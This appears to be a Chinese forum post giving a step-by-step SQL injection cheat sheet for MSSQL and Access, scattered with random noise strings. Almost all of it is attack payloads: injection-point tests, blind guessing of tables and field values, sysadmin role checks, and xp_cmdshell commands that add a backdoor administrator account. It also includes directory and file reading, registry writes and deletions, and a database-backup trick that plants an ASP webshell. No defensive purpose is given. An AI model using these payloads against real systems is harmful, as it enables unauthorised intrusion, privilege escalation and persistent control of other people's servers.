手工脚本注入

admin

手工脚本注入
) }) E: V% z8 U+ ~1.判断是否有注入;and 1=1 ;and 1=2
, C; l+ r$ X3 _  S& O& M* h
2.初步判断是否是mssql ;and user>0
* u1 b& L4 u# `6 \4 R
3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='
' V/ R/ {5 q6 L
, p3 m5 u; S) I! @5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
6 a  ^) t' h% z5 \8 L3 K8 Z4 N9 b, Y;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0
3 T$ |/ d9 Q/ A. \4 p4 M' T
7.猜字段 ;and (select Count(字段名) from 数据库名)>0

/ R; R5 b4 U4 P, P8 s8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

3 A( o- Q% u9 Y, |. K8 B% U9.(1)猜字段的ascii值（access）
0 g. s3 c7 |$ z+ |0 b5 A- Y4 Q;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

) ~& ~0 L5 d* H) r# v(2)猜字段的ascii值（mssql）
7 W! `  u2 E' r! X! }+ t;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

& `. g1 ^$ E: X2 N; g# C10.测试权限结构（mssql）
/ b6 D8 \( j, R) q3 D;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
4 A) u' M; o; i5 @! A;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
( I2 |- U5 n1 K" ~: l0 v;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
: K; a( G3 Q9 r;and 1=(select IS_MEMBER('db_owner'));--
* f+ S* g  J0 x/ l5 j
" q' k8 e0 {7 d' o/ T11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--
- r3 e5 h/ q+ f
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
" m5 O; q7 ]) n. H/ P
) v3 L( n, _, H+ y;exec master.dbo.xp_cmdshell 'net user username password
% g* E" Y- w( d+ S/ n/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

+ F" t+ x% `& y;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
% D5 \+ w4 [) v; D3 f1 U  A$ U  l;and (select top 1 paths from dirs)>0
! B$ \9 m" b5 `) Q: ]' K;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
+ B- H8 a' M! `4 O/ q! }' Z" @;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
9 X+ c% |* g0 u1 E+ n3 M;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
8 Y" m) b/ }3 y: Q; D$ y1 A5 Q+ y' l;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
# {' r# L. ?  }7 Q" \( h;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
. B3 E- A/ s5 N# L/ y' a5 e
! D' z- ^  q9 W% exp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
9 g6 F. Q$ I0 }" p;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

( X/ ]7 C, x8 s/ wxp_regdeletevalue 根键,子键,值名
  f0 |- E3 A3 z0 e0 U
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
' b" g: i* j1 ~; q/ V6 ?
+ g4 a8 R! X, ?% h9 S+ H" K$ ^xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
) i9 ~0 u9 Q* L! v8 x; E1 Dinsert into cmd(str) values ('');
backup database model to disk='c:\l.asp';
6 y. W) G. q7 a5 r
3 b& h; p" M; L7 d& L. S15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
$ o4 g/ Y" _; x, r;and user_name()='dbo' 判断当前系统的连接用户是不是sa
8 m) U$ H* c  g( A6 U$ A% T% n. e;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
7 i8 y8 H$ i% x: v2 s$ y7 A6 O
16.简洁的webshell
) `& z$ C3 ]$ L2 @; m
use model
# ^( I6 J: V5 D6 L% U
create table cmd(str image);

insert into cmd(str) values ('');
+ ?8 F3 m6 v4 O* E0 c
  R, q, ~" C7 o0 z: j, n, Gbackup database model to disk='g:\wwwtest\l.asp';

' N" ?9 T( U8 ~% s- \

老男孩

现在很多防注入啊，有其他注入字符码